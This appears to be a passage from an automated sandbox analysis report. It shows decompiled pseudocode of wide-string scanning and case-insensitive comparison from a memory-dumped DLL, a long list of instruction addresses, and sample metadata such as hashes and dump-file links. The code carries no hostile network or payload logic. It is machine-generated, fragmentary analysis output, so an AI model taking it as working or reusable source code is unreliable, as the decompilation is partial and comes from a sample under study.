																			_t350 =  *(_t593 + _t476 * 2) & 0x0000ffff;
																			__eflags = _t350;
																			if(_t350 == 0) {
																				goto L109;
																			}
																			_t476 = _t476 + 1;
																			__eflags = _t476 - _t441;
																			if(_t476 < _t441) {
																				continue;
																			}
																			goto L102;
																		}
																		goto L109;
																	}
																	_t485 = _v48;
																	_t510 = _v32;
																	_t570 = _v52;
																	_t383 = _v28;
																	while(1) {
																		_t598 = _t510;
																		__eflags = _t510;
																		if(_t510 == 0) {
																			goto L180;
																		}
																		L175:
																		_t452 = 0;
																		__eflags = _t383;
																		if(_t383 != 0) {
																			L184:
																			_v28 = _t383;
																			_t602 = _v24;
																			while(1) {
																				__eflags =  *(_t602 + _t452 * 2) & 0x0000ffff;
																				if(( *(_t602 + _t452 * 2) & 0x0000ffff) == 0) {
																					break;
																				}
																				_t452 = _t452 + 1;
																				__eflags = _t452 - 0x7fffffff;
																				if(_t452 < 0x7fffffff) {
																					continue;
																				}
																				_v24 = _t602;
																				_t384 = _v28;
																				L188:
																				_t452 = 0x7fffffff;
																				L189:
																				_v56 = _t452;
																				_t599 = 0;
																				__eflags = 0;
																				_v32 = _t510;
																				_v28 = _t384;
																				while(1) {
																					_t453 =  *(_t485 + _t599 * 2) & 0x0000ffff;
																					_t241 = _t453 - 0x61; // 0x7fffff9e
																					_t574 =  *(_v24 + _t599 * 2) & 0x0000ffff;
																					__eflags = _t241 - 0x19;
																					_t244 = _t453 - 0x20; // 0x7fffffdf
																					_t454 =  <=  ? _t244 :  *(_t485 + _t599 * 2) & 0x0000ffff;
																					_t386 = ( <=  ? _t244 :  *(_t485 + _t599 * 2) & 0x0000ffff) & 0x0000ffff;
																					__eflags = _t574 - 0x61 - 0x19;
																					_t575 =  <=  ? _t574 - 0x20 : _t574;
																					__eflags = _t386 - ( <=  ? _t574 - 0x20 : _t574);
																					if(__eflags < 0 || __eflags > 0) {
																						break;
																					}
																					__eflags = _t386;
																					if(_t386 == 0) {
																						L194:
																						_t564 =  *_t614;
																						_t592 = _t599 ^ _t599;
																						__eflags = _t592;
																						_t510 = _v32;
																						L195:
																						__eflags = _t485;
																						if(_t485 != 0) {
																							goto L91;
																						}
																						goto L196;
																					}
																					_t599 = _t599 + 1;
																					__eflags = _t599 - _v56;
																					if(_t599 < _v56) {
																						continue;
																					}
																					goto L194;
																				}
																				_t510 = _v32;
																				_t350 = _v28;
																				_t601 = _t485 + 2;
																				__eflags = _t601;
																				if(_t601 == 0) {
																					L207:
																					_t565 = _v36;
																					_t593 = _v24;
																					goto L97;
																				}
																				__eflags =  *(_t485 + 2) & 0x0000ffff;
																				if(( *(_t485 + 2) & 0x0000ffff) == 0) {
																					goto L207;
																				}
																				_v40 = _t485;
																				_t457 = 0;
																				__eflags = 0;
																				_v32 = _t510;
																				_v28 = _t350;
																				while(1) {
																					_t457 = _t457 + 1;
																					_t485 = _v40 + _t457 * 2;
																					_t387 =  *_t485 & 0x0000ffff;
																					__eflags = ( *(_t601 + _t457 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																					_t388 =  <=  ? _t387 + 0x20 : _t387;
																					__eflags = ( <=  ? _t387 + 0x20 : _t387) - _v44;
																					if(( <=  ? _t387 + 0x20 : _t387) == _v44) {
																						break;
																					}
																					__eflags =  *(_t601 + _t457 * 2) & 0x0000ffff;
																					if(( *(_t601 + _t457 * 2) & 0x0000ffff) != 0) {
																						continue;
																					}
																					goto L96;
																				}
																				_t510 = _v32;
																				_t570 = _v52;
																				_t383 = _v28;
																				_t598 = _t510;
																				__eflags = _t510;
																				if(_t510 == 0) {
																					goto L180;
																				}
																				goto L175;
																			}
																			_v24 = _t602;
																			_t384 = _v28;
																			L198:
																			__eflags = _t452;
																			if(__eflags == 0) {
																				goto L188;
																			}
																			if(__eflags > 0) {
																				goto L189;
																			}
																			_v28 = _t384;
																			_t592 = 0;
																			_t564 =  *_t614;
																			goto L195;
																		}
																		_v32 = _t510;
																		_t598 = _t570;
																		_v28 = _t383;
																		_t544 = _v24;
																		while(1) {
																			__eflags =  *(_t544 + _t452 * 2) & 0x0000ffff;
																			if(( *(_t544 + _t452 * 2) & 0x0000ffff) == 0) {
																				break;
																			}
																			_t452 = _t452 + 1;
																			__eflags = _t452 - _t570;
																			if(_t452 < _t570) {
																				continue;
																			}
																			_v24 = _t544;
																			_t510 = _v32;
																			_t383 = _v28;
																			goto L180;
																		}
																		_v24 = _t544;
																		_t510 = _v32;
																		_t384 = _v28;
																		goto L198;
																		L180:
																		_v28 = _t383;
																		_t449 =  ~( ~_t598 + 0x00000007 & 0x00000007) + 0x7fffffff;
																		__eflags = _t449;
																		_t571 = _v24;
																		while(1) {
																			asm("movdqu xmm1, [edi+esi*2]");
																			asm("pcmpeqw xmm1, xmm0");
																			asm("pmovmskb eax, xmm1");
																			__eflags = _t383;
																			if(_t383 != 0) {
																				break;
																			}
																			_t598 = _t598 + 8;
																			__eflags = _t598 - _t449;
																			if(_t598 < _t449) {
																				continue;
																			}
																			_v24 = _t571;
																			_t384 = _v28;
																			__eflags = _t449 - 0x7fffffff;
																			if(_t449 >= 0x7fffffff) {
																				goto L188;
																			}
																			goto L184;
																		}
																		asm("bsf ebx, ebx");
																		_v24 = _t571;
																		_t452 = (_t383 >> 1) + _t598;
																		_t384 = _v28;
																		goto L198;
																	}
																}
																L196:
																 *_t614 = _t564;
																_t350 = _v28;
																_t565 = _v36;
																_t593 = _v24;
																goto L97;
															}
															_t588 = _t588 + 1;
															__eflags = _t588 -  *_t614;
															if(_t588 <  *_t614) {
																continue;
															}
															goto L88;
														}
														_t513 = _v32;
														_t344 = _v28;
														_t590 = _t469 + 2;
														__eflags = _t590;
														if(_t590 == 0) {
															goto L52;
														}
														__eflags =  *(_t469 + 2) & 0x0000ffff;
														if(( *(_t469 + 2) & 0x0000ffff) == 0) {
															goto L52;
														}
														_v40 = _t469;
														_t426 = 0;
														__eflags = 0;
														_v32 = _t513;
														_v28 = _t344;
														while(1) {
															_t426 = _t426 + 1;
															_t469 = _v40 + _t426 * 2;
															_t345 =  *_t469 & 0x0000ffff;
															__eflags = ( *(_t590 + _t426 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
															_t346 =  <=  ? _t345 + 0x20 : _t345;
															__eflags = ( <=  ? _t345 + 0x20 : _t345) - _v44;
															if(( <=  ? _t345 + 0x20 : _t345) == _v44) {
																break;
															}
															__eflags =  *(_t590 + _t426 * 2) & 0x0000ffff;
															if(( *(_t590 + _t426 * 2) & 0x0000ffff) != 0) {
																continue;
															}
															goto L52;
														}
														_t510 = _v32;
														_t555 = _v52;
														_t340 = _v28;
														goto L68;
													}
													_v24 = _t603;
													_t341 = _v28;
													L166:
													__eflags = _t421;
													if(__eflags == 0) {
														goto L82;
													}
													if(__eflags > 0) {
														goto L83;
													}
													_t563 = _v36;
													_t591 = _v24;
													goto L89;
												}
												_v32 = _t510;
												_t587 = _t555;
												_v28 = _t340;
												_t546 = _v24;
												while(1) {
													__eflags =  *(_t546 + _t421 * 2) & 0x0000ffff;
													if(( *(_t546 + _t421 * 2) & 0x0000ffff) == 0) {
														break;
													}
													_t421 = _t421 + 1;
													__eflags = _t421 - _t555;
													if(_t421 < _t555) {
														continue;
													}
													_v24 = _t546;
													_t510 = _v32;
													_t340 = _v28;
													goto L74;
												}
												_v24 = _t546;
												_t510 = _v32;
												_t341 = _v28;
												goto L166;
												L74:
												_v28 = _t340;
												_t418 =  ~( ~_t587 + 0x00000007 & 0x00000007) + 0x7fffffff;
												__eflags = _t418;
												_t556 = _v24;
												while(1) {
													asm("movdqu xmm1, [edi+esi*2]");
													asm("pcmpeqw xmm1, xmm0");
													asm("pmovmskb eax, xmm1");
													__eflags = _t340;
													if(_t340 != 0) {
														break;
													}
													_t587 = _t587 + 8;
													__eflags = _t587 - _t418;
													if(_t587 < _t418) {
														continue;
													}
													_v24 = _t556;
													_t341 = _v28;
													__eflags = _t418 - 0x7fffffff;
													if(_t418 >= 0x7fffffff) {
														goto L82;
													}
													goto L78;
												}
												asm("bsf ebx, ebx");
												_v24 = _t556;
												_t421 = (_t340 >> 1) + _t587;
												_t341 = _v28;
												goto L166;
											}
										}
										goto L39;
									}
									_t395 =  *_t498 & 0x0000ffff;
									 *_t552 = _t395;
									__eflags = _t395;
									if(_t395 == 0) {
										goto L33;
									}
									_t396 = 0;
									__eflags = 0;
									while(1) {
										_t396 = _t396 + 1;
										_t488 =  *(_t498 + _t396 * 4 - 2) & 0x0000ffff;
										 *(_t552 + _t396 * 4 - 2) = _t488;
										__eflags = _t488;
										if(_t488 == 0) {
											goto L33;
										}
										_t489 =  *(_t498 + _t396 * 4) & 0x0000ffff;
										 *(_t552 + _t396 * 4) = _t489;
										__eflags = _t489;
										if(_t489 != 0) {
											continue;
										}
										goto L33;
									}
									goto L33;
								}
							}
							_t552 = _v64;
							goto L36;
						}
						_t398 = _t551 & 0x0000000f;
						__eflags = _t398;
						if(_t398 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t609 =  ~( ~_t398 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t609;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t492;
								if(_t492 != 0) {
									break;
								}
								_t398 = _t398 + 8;
								__eflags = _t398 - _t609;
								if(_t398 < _t609) {
									continue;
								}
								__eflags = _t609 - 0x7fffffff;
								if(_t609 >= 0x7fffffff) {
									L22:
									_t459 = 0x40;
									_t581 = 0x7fffffff;
									goto L23;
								} else {
									goto L20;
								}
								while(1) {
									L20:
									__eflags =  *(_t551 + _t609 * 2) & 0x0000ffff;
									if(( *(_t551 + _t609 * 2) & 0x0000ffff) == 0) {
										break;
									}
									_t609 = _t609 + 1;
									__eflags = _t609 - 0x7fffffff;
									if(_t609 < 0x7fffffff) {
										continue;
									}
									goto L22;
								}
								L62:
								__eflags = _t581 - 0xfffffffe;
								if(_t581 != 0xfffffffe) {
									_t459 = 0x40;
								} else {
									 *_t551 = 0;
									_t459 = _v60;
								}
								goto L23;
							}
							asm("bsf esi, edx");
							_t581 = (_t609 >> 1) + _t398;
							goto L62;
						}
						_t609 = 0;
						__eflags = _t398 & 0x00000001;
						if((_t398 & 0x00000001) != 0) {
							goto L20;
						}
						_t398 =  ~_t398 + 0x10 >> 1;
						__eflags = _t398;
						while(1) {
							_t492 =  *(_t551 + _t609 * 2) & 0x0000ffff;
							__eflags = _t492;
							if(_t492 == 0) {
								goto L62;
							}
							_t609 = _t609 + 1;
							__eflags = _t609 - _t398;
							if(_t609 < _t398) {
								continue;
							}
							goto L16;
						}
						goto L62;
					}
					_t319 =  &_v64;
					goto L37;
				}
				if(_t551 == 0) {
					L6:
					_push(2);
					_push(_t304);
					E6EFF10B0();
					_t614 =  &(_t614[2]);
					goto L8;
				}
				_t492 =  *_t304 & 0x0000ffff;
				 *_t551 = _t492;
				if(_t492 == 0) {
					goto L6;
				}
				while(1) {
					_t492 = 1;
					_t490 = _t304[1] & 0x0000ffff;
					 *(_t551 + 2) = _t490;
					if(_t490 == 0) {
						goto L6;
					}
					_t491 = _t304[2] & 0x0000ffff;
					 *(_t551 + 4) = _t491;
					if(_t491 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6effc59e
0x6effc5a2
0x6effc5a4
0x6effc5a8
0x6effc5b2
0x6effc5b4
0x6effc5b7
0x6effc5bd
0x6effc5f7
0x6effc5f9
0x6effc5fc
0x6effc600
0x6effc608
0x6effc60e
0x6effc619
0x6effc61b
0x6effd019
0x6effd01e
0x6effc69f
0x6effc6a4
0x6effc6a4
0x6effc6a7
0x6effc6aa
0x6effc6ad
0x6effc6af
0x6effc6c4
0x6effc6c7
0x6effc6c7
0x6effc6cd
0x6effc6d5
0x6effc6d5
0x6effc6d5
0x6effc6d6
0x6effc6e0
0x6effc6ea
0x6effc6ed
0x6effc6f3
0x6effc6f5
0x6effc6f8
0x6effc6fc
0x6effc6fe
0x6effc738
0x6effc73a
0x00000000
0x6effc700
0x6effc700
0x6effc702
0x6effc72b
0x6effc72b
0x6effc72d
0x6effc72e
0x6effc733
0x6effc73d
0x6effc740
0x6effc744
0x6effc748
0x6effc74c
0x6effc74e
0x6effc752
0x6effc758
0x6effc75d
0x6effc75d
0x6effc761
0x6effc76a
0x6effc76a
0x6effc76f
0x6effc774
0x6effc776
0x6effc77e
0x6effc780
0x6effc786
0x6effc78a
0x6effc7c9
0x6effc878
0x6effc878
0x6effc87b
0x6effc87d
0x6effc884
0x6effc884
0x6effc886
0x6effc88a
0x6effc894
0x6effc898
0x6effc8a8
0x6effc8a8
0x6effc78e
0x6effc7b7
0x6effc7b7
0x6effc7b9
0x6effc7ba
0x6effc7bf
0x00000000
0x6effc7bf
0x6effc790
0x6effc793
0x6effc798
0x00000000
0x00000000
0x6effc79a
0x6effc79c
0x6effc79c
0x6effc79d
0x6effc7a2
0x6effc7a9
0x00000000
0x00000000
0x6effc7ab
0x6effc7af
0x6effc7b5
0x00000000
0x00000000
0x00000000
0x6effc7b5
0x00000000
0x6effc79c
0x6effc763
0x6effc768
0x6effc7d1
0x6effc7d3
0x6effc7d5
0x6effc819
0x6effc819
0x6effc81e
0x6effc823
0x6effc825
0x6effc82d
0x6effc82f
0x6effc835
0x6effc837
0x6effc839
0x6effc873
0x6effc875
0x00000000
0x6effc875
0x6effc83b
0x6effc83d
0x6effc866
0x6effc866
0x6effc868
0x6effc869
0x6effc86e
0x00000000
0x6effc86e
0x6effc83f
0x6effc842
0x6effc845
0x6effc847
0x00000000
0x00000000
0x6effc849
0x6effc849
0x6effc84b
0x6effc84b
0x6effc84c
0x6effc851
0x6effc856
0x6effc858
0x00000000
0x00000000
0x6effc85a
0x6effc85e
0x6effc862
0x6effc864
0x00000000
0x00000000
0x00000000
0x6effc864
0x00000000
0x6effc84b
0x6effc7da
0x6effc7dc
0x00000000
0x00000000
0x6effc7de
0x6effc7e5
0x6effc7eb
0x6effc7ee
0x6effc7ee
0x6effc7f0
0x6effc7f3
0x6effc7f7
0x6effc7f7
0x6effc7fb
0x6effc7fe
0x6effc801
0x6effc804
0x6effc807
0x6effc80a
0x00000000
0x00000000
0x6effc810
0x6effc815
0x6effc817
0x00000000
0x00000000
0x00000000
0x6effc817
0x6effc8c8
0x6effc8cc
0x6effc8cf
0x6effc8d1
0x00000000
0x00000000
0x6effc8d9
0x6effc8dc
0x6effc8e6
0x6effc8ec
0x6effc8ee
0x6effc8f2
0x6effc8f6
0x6effc8fa
0x6effc90a
0x6effc90a
0x6effc90a
0x6effc90c
0x6effc90e
0x00000000
0x00000000
0x6effc910
0x6effc912
0x6effc914
0x6effc98b
0x6effc98b
0x6effc98f
0x6effc993
0x6effc997
0x6effc999
0x00000000
0x00000000
0x6effc99f
0x6effc9a0
0x6effc9a6
0x00000000
0x00000000
0x6effc9a8
0x6effc9ac
0x6effc9b0
0x6effc9b0
0x6effc9b5
0x6effc9b5
0x6effc9b8
0x6effc9b8
0x6effc9ba
0x6effc9be
0x6effc9c2
0x6effc9c2
0x6effc9ca
0x6effc9cd
0x6effc9d1
0x6effc9d4
0x6effc9d7
0x6effc9da
0x6effc9e0
0x6effc9e6
0x6effc9e9
0x6effc9ec
0x00000000
0x00000000
0x6effc9f8
0x6effc9fa
0x6effca02
0x6effca02
0x6effca06
0x6effca0a
0x6effca0e
0x6effca12
0x6effca12
0x6effca14
0x00000000
0x00000000
0x6effca1a
0x6effca1e
0x6effca22
0x6effca26
0x6effca26
0x6effca28
0x6effca28
0x6effca2a
0x6effca2c
0x6effca2c
0x6effca2f
0x00000000
0x00000000
0x6effca39
0x6effca3b
0x00000000
0x00000000
0x6effca41
0x6effca44
0x6effca46
0x6effca4a
0x6effca4a
0x6effca50
0x6effca53
0x6effca59
0x6effca5c
0x6effca67
0x6effca6a
0x6effca6d
0x00000000
0x00000000
0x6effca77
0x6effca79
0x00000000
0x00000000
0x6effca7b
0x6effca7b
0x6effca7f
0x6effca83
0x6effca87
0x6effca8b
0x6effca8b
0x6effca8d
0x6effcaa8
0x6effcab4
0x6effcab4
0x6effcaba
0x6effcaba
0x6effcabf
0x6effcac3
0x6effcac7
0x6effcac9
0x00000000
0x00000000
0x6effcacf
0x6effcad2
0x6effcad4
0x00000000
0x00000000
0x6effcad6
0x6effcadc
0x6effcaef
0x6effcaef
0x6effcaf4
0x6effcaf6
0x6effcaf6
0x6effcaf9
0x6effcb15
0x6effcb21
0x6effcb21
0x6effcb27
0x6effcb27
0x6effcb2c
0x6effcb30
0x6effcb34
0x6effcb36
0x00000000
0x00000000
0x6effcb3c
0x6effcb3f
0x6effcb41
0x00000000
0x00000000
0x6effcb43
0x6effcb49
0x6effcb5c
0x6effcb5c
0x6effcb61
0x6effcb66
0x6effcb6e
0x6effcb70
0x6effcb72
0x6effcb74
0x6effcb77
0x6effcb79
0x6effcb7c
0x6effcb7f
0x6effcb81
0x6effcb84
0x6effcb86
0x6effccdc
0x6effccdc
0x6effcce6
0x6effcce8
0x6effccee
0x6effccf0
0x6effccf2
0x6effcd31
0x00000000
0x6effcd31
0x6effccf4
0x6effccf6
0x6effcd1f
0x6effcd1f
0x6effcd21
0x6effcd22
0x6effcd27
0x00000000
0x6effcd27
0x6effccf8
0x6effccfb
0x6effccfe
0x6effcd00
0x00000000
0x00000000
0x6effcd02
0x6effcd02
0x6effcd04
0x6effcd04
0x6effcd05
0x6effcd0a
0x6effcd0f
0x6effcd11
0x00000000
0x00000000
0x6effcd13
0x6effcd17
0x6effcd1b
0x6effcd1d
0x00000000
0x00000000
0x00000000
0x6effcd1d
0x00000000
0x6effcd04
0x6effcb8c
0x6effcb8f
0x6effcb91
0x00000000
0x00000000
0x6effcb97
0x6effcb99
0x6effcc09
0x6effcc0e
0x6effcc0e
0x6effcc11
0x6effcc14
0x6effcc17
0x6effcc19
0x6effcc2c
0x6effcc2f
0x6effcc2f
0x6effcc35
0x6effcc3d
0x6effcc3d
0x6effcc3d
0x6effcc3e
0x6effcc48
0x6effcc52
0x6effcc55
0x6effcc5b
0x6effcc5d
0x6effcc63
0x6effcc65
0x6effcc67
0x6effcca1
0x6effcca3
0x00000000
0x6effcc69
0x6effcc69
0x6effcc6b
0x6effcc94
0x6effcc94
0x6effcc96
0x6effcc97
0x6effcc9c
0x6effcca6
0x6effcca6
0x6effccac
0x6effccaf
0x6effccb1
0x6effccb1
0x6effccb3
0x00000000
0x00000000
0x6effccb9
0x6effccc3
0x6effccc3
0x6effccc6
0x6effccc7
0x6effccca
0x6effcccc
0x00000000
0x00000000
0x6effccce
0x6effccd0
0x6effcd3b
0x00000000
0x6effcd3b
0x6effccd2
0x6effccd2
0x6effccd4
0x00000000
0x00000000
0x6effccbd
0x6effccc0
0x6effccc0
0x6effccc0
0x6effccc3
0x6effcc6d
0x6effcc70
0x6effcc73
0x6effcc75
0x00000000
0x00000000
0x6effcc77
0x6effcc77
0x6effcc79
0x6effcc79
0x6effcc7a
0x6effcc7f
0x6effcc84
0x6effcc86
0x00000000
0x00000000
0x6effcc88
0x6effcc8c
0x6effcc90
0x6effcc92
0x00000000
0x00000000
0x00000000
0x6effcc92
0x00000000
0x6effcc79
0x6effcc67
0x6effcc1b
0x00000000
0x6effcc1b
0x6effcb9d
0x6effcb9d
0x6effcba0
0x6effcbbd
0x6effcbc9
0x6effcbc9
0x6effcbcf
0x6effcbcf
0x6effcbd4
0x6effcbd8
0x6effcbdc
0x6effcbde
0x00000000
0x00000000
0x6effcbe4
0x6effcbe7
0x6effcbe9
0x00000000
0x00000000
0x6effcbeb
0x6effcbf1
0x6effcc04
0x6effcc04
0x00000000
0x00000000
0x00000000
0x00000000
0x6effcbf3
0x6effcbf3
0x6effcbf7
0x6effcbf9
0x00000000
0x00000000
0x6effcbfb
0x6effcbfc
0x6effcc02
0x00000000
0x00000000
0x00000000
0x6effcc02
0x00000000
0x6effcbf3
0x6effcd6b
0x6effcd70
0x00000000
0x6effcd70
0x6effcba2
0x6effcba4
0x6effcba7
0x00000000
0x00000000
0x6effcbae
0x6effcbae
0x6effcbb0
0x6effcbb0
0x6effcbb4
0x6effcbb6
0x00000000
0x00000000
0x6effcbb8
0x6effcbb9
0x6effcbbb
0x00000000
0x00000000
0x00000000
0x6effcbbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6effcb4b
0x6effcb4b
0x6effcb4f
0x6effcb51
0x00000000
0x00000000
0x6effcb53
0x6effcb54
0x6effcb5a
0x00000000
0x00000000
0x00000000
0x6effcb5a
0x00000000
0x6effcb4b
0x6effcd77
0x6effcd7c
0x00000000
0x6effcd7c
0x6effcafb
0x6effcafd
0x6effcaff
0x00000000
0x00000000
0x6effcb06
0x6effcb06
0x6effcb08
0x6effcb08
0x6effcb0c
0x6effcb0e
0x00000000
0x00000000
0x6effcb10
0x6effcb11
0x6effcb13
0x00000000
0x00000000
0x00000000
0x6effcb13
0x00000000
0x00000000
0x00000000
0x00000000
0x6effcade
0x6effcade
0x6effcae2
0x6effcae4
0x00000000
0x00000000
0x6effcae6
0x6effcae7
0x6effcaed
0x00000000
0x00000000
0x00000000
0x6effcaed
0x00000000
0x6effcade
0x6effcd83
0x6effcd88
0x00000000
0x6effcd88
0x6effca8f
0x6effca91
0x6effca93
0x00000000
0x00000000
0x6effca95
0x6effca99
0x6effca9b
0x6effca9b
0x6effca9f
0x6effcaa1
0x00000000
0x00000000
0x6effcaa3
0x6effcaa4
0x6effcaa6
0x00000000
0x00000000
0x00000000
0x6effcaa6
0x00000000
0x6effca9b
0x6effcd8f
0x6effcd93
0x6effcd97
0x6effcd9b
0x6effcdad
0x6effcdad
0x6effcdaf
0x6effcdb1
0x00000000
0x00000000
0x6effcdb3
0x6effcdb3
0x6effcdb5
0x6effcdb7
0x6effce2e
0x6effce2e
0x6effce32
0x6effce36
0x6effce3a
0x6effce3c
0x00000000
0x00000000
0x6effce42
0x6effce43
0x6effce49
0x00000000
0x00000000
0x6effce4b
0x6effce4f
0x6effce53
0x6effce53
0x6effce58
0x6effce58
0x6effce5c
0x6effce5c
0x6effce5e
0x6effce62
0x6effce66
0x6effce66
0x6effce6e
0x6effce71
0x6effce75
0x6effce78
0x6effce7b
0x6effce7e
0x6effce84
0x6effce8a
0x6effce8d
0x6effce90
0x00000000
0x00000000
0x6effce94
0x6effce96
0x6effcea2
0x6effcea2
0x6effcea5
0x6effcea5
0x6effcea7
0x6effceab
0x6effceab
0x6effcead
0x00000000
0x00000000
0x00000000
0x6effcead
0x6effce98
0x6effce99
0x6effce9d
0x00000000
0x00000000
0x00000000
0x6effce9d
0x6effceec
0x6effcef4
0x6effcefa
0x6effcefa
0x6effcefd
0x6effcf4b
0x6effcf4b
0x6effcf4f
0x00000000
0x6effcf4f
0x6effcf03
0x6effcf05
0x00000000
0x00000000
0x6effcf07
0x6effcf0b
0x6effcf0b
0x6effcf0d
0x6effcf11
0x6effcf15
0x6effcf15
0x6effcf1f
0x6effcf22
0x6effcf28
0x6effcf32
0x6effcf35
0x6effcf38
0x00000000
0x00000000
0x6effcf42
0x6effcf44
0x00000000
0x00000000
0x00000000
0x6effcf46
0x6effcda1
0x6effcda5
0x6effcda9
0x6effcdad
0x6effcdaf
0x6effcdb1
0x00000000
0x00000000
0x00000000
0x6effcdb1
0x6effcf58
0x6effcf5c
0x6effced3
0x6effced3
0x6effced5
0x00000000
0x00000000
0x6effcedb
0x00000000
0x00000000
0x6effcee1
0x6effcee5
0x6effcee7
0x00000000
0x6effcee7
0x6effcdb9
0x6effcdbd
0x6effcdbf
0x6effcdc3
0x6effcdc7
0x6effcdcb
0x6effcdcd
0x00000000
0x00000000
0x6effcdd3
0x6effcdd4
0x6effcdd6
0x00000000
0x00000000
0x6effcdd8
0x6effcddc
0x6effcde0
0x00000000
0x6effcde0
0x6effcec7
0x6effcecb
0x6effcecf
0x00000000
0x6effcde4
0x6effcdf0
0x6effcdf4
0x6effcdf4
0x6effcdfa
0x6effcdfe
0x6effcdfe
0x6effce03
0x6effce07
0x6effce0b
0x6effce0d
0x00000000
0x00000000
0x6effce13
0x6effce16
0x6effce18
0x00000000
0x00000000
0x6effce1a
0x6effce22
0x6effce26
0x6effce2c
0x00000000
0x00000000
0x00000000
0x6effce2c
0x6effcf67
0x6effcf6c
0x6effcf70
0x6effcf76
0x00000000
0x6effcf76
0x6effcdad
0x6effceb3
0x6effceb3
0x6effceb6
0x6effceba
0x6effcebe
0x00000000
0x6effcebe
0x6effc9fc
0x6effc9fd
0x6effca00
0x00000000
0x00000000
0x00000000
0x6effca00
0x6effcf7f
0x6effcf87
0x6effcf8d
0x6effcf8d
0x6effcf90
0x00000000
0x00000000
0x6effcf9a
0x6effcf9c
0x00000000
0x00000000
0x6effcfa2
0x6effcfa6
0x6effcfa6
0x6effcfa8
0x6effcfac
0x6effcfb0
0x6effcfb0
0x6effcfba
0x6effcfbd
0x6effcfc3
0x6effcfcd
0x6effcfd0
0x6effcfd3
0x00000000
0x00000000
0x6effcfdd
0x6effcfdf
0x00000000
0x00000000
0x00000000
0x6effcfe1
0x6effc8fe
0x6effc902
0x6effc906
0x00000000
0x6effc906
0x6effcfe6
0x6effcfea
0x6effcd50
0x6effcd50
0x6effcd52
0x00000000
0x00000000
0x6effcd58
0x00000000
0x00000000
0x6effcd5e
0x6effcd62
0x00000000
0x6effcd62
0x6effc916
0x6effc91a
0x6effc91c
0x6effc920
0x6effc924
0x6effc928
0x6effc92a
0x00000000
0x00000000
0x6effc930
0x6effc931
0x6effc933
0x00000000
0x00000000
0x6effc935
0x6effc939
0x6effc93d
0x00000000
0x6effc93d
0x6effcd44
0x6effcd48
0x6effcd4c
0x00000000
0x6effc941
0x6effc94d
0x6effc951
0x6effc951
0x6effc957
0x6effc95b
0x6effc95b
0x6effc960
0x6effc964
0x6effc968
0x6effc96a
0x00000000
0x00000000
0x6effc970
0x6effc973
0x6effc975
0x00000000
0x00000000
0x6effc977
0x6effc97f
0x6effc983
0x6effc989
0x00000000
0x00000000
0x00000000
0x6effc989
0x6effcff5
0x6effcffa
0x6effcffe
0x6effd004
0x00000000
0x6effd004
0x6effc90a
0x00000000
0x6effc768
0x6effc704
0x6effc707
0x6effc70a
0x6effc70c
0x00000000
0x00000000
0x6effc70e
0x6effc70e
0x6effc710
0x6effc710
0x6effc711
0x6effc716
0x6effc71b
0x6effc71d
0x00000000
0x00000000
0x6effc71f
0x6effc723
0x6effc727
0x6effc729
0x00000000
0x00000000
0x00000000
0x6effc729
0x00000000
0x6effc710
0x6effc6fe
0x6effc6b1
0x00000000
0x6effc6b1
0x6effc623
0x6effc623
0x6effc626
0x6effc646
0x6effc64a
0x6effc656
0x6effc656
0x6effc65c
0x6effc65c
0x6effc661
0x6effc665
0x6effc669
0x6effc66b
0x00000000
0x00000000
0x6effc671
0x6effc674
0x6effc676
0x00000000
0x00000000
0x6effc678
0x6effc67e
0x6effc695
0x6effc695
0x6effc69a
0x00000000
0x00000000
0x00000000
0x00000000
0x6effc680
0x6effc680
0x6effc684
0x6effc686
0x00000000
0x00000000
0x6effc68c
0x6effc68d
0x6effc693
0x00000000
0x00000000
0x00000000
0x6effc693
0x6effc8ab
0x6effc8ab
0x6effc8ae
0x6effc8be
0x6effc8b0
0x6effc8b2
0x6effc8b5
0x6effc8b5
0x00000000
0x6effc8ae
0x6effd00d
0x6effd012
0x00000000
0x6effd012
0x6effc628
0x6effc62a
0x6effc62c
0x00000000
0x00000000
0x6effc633
0x6effc633
0x6effc635
0x6effc635
0x6effc639
0x6effc63b
0x00000000
0x00000000
0x6effc641
0x6effc642
0x6effc644
0x00000000
0x00000000
0x00000000
0x6effc644
0x00000000
0x6effc635
0x6effc610
0x00000000
0x6effc610
0x6effc5c1
0x6effc5ea
0x6effc5ea
0x6effc5ec
0x6effc5ed
0x6effc5f2
0x00000000
0x6effc5f2
0x6effc5c3
0x6effc5c6
0x6effc5cb
0x00000000
0x00000000
0x6effc5cf
0x6effc5cf
0x6effc5d0
0x6effc5d5
0x6effc5dc
0x00000000
0x00000000
0x6effc5de
0x6effc5e2
0x6effc5e8
0x00000000
0x00000000
0x00000000
0x6effc5e8
0x00000000

Strings

@, xrefs: 6EFFC600

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 34e3e757357182d4be67d558aec357958c2c3175704b9db7323992076a550c51
Instruction ID: 58f647d38e806e737b7bd0c23356109ee99d72bda612c06da220b5b4c75aa817
Opcode Fuzzy Hash: 34e3e757357182d4be67d558aec357958c2c3175704b9db7323992076a550c51
Instruction Fuzzy Hash: 2762D575A04722CBD7148FA9C4A022AB7E1BFC8714F15872DE8A59B3B4E770D943C789

Uniqueness

Uniqueness Score: -1.00%

Function 6F002E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6F002E60(signed int __ecx, void* __eflags, signed int _a4, char _a8) {
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t230;
				signed int _t231;
				signed int* _t237;
				char* _t238;
				void* _t245;
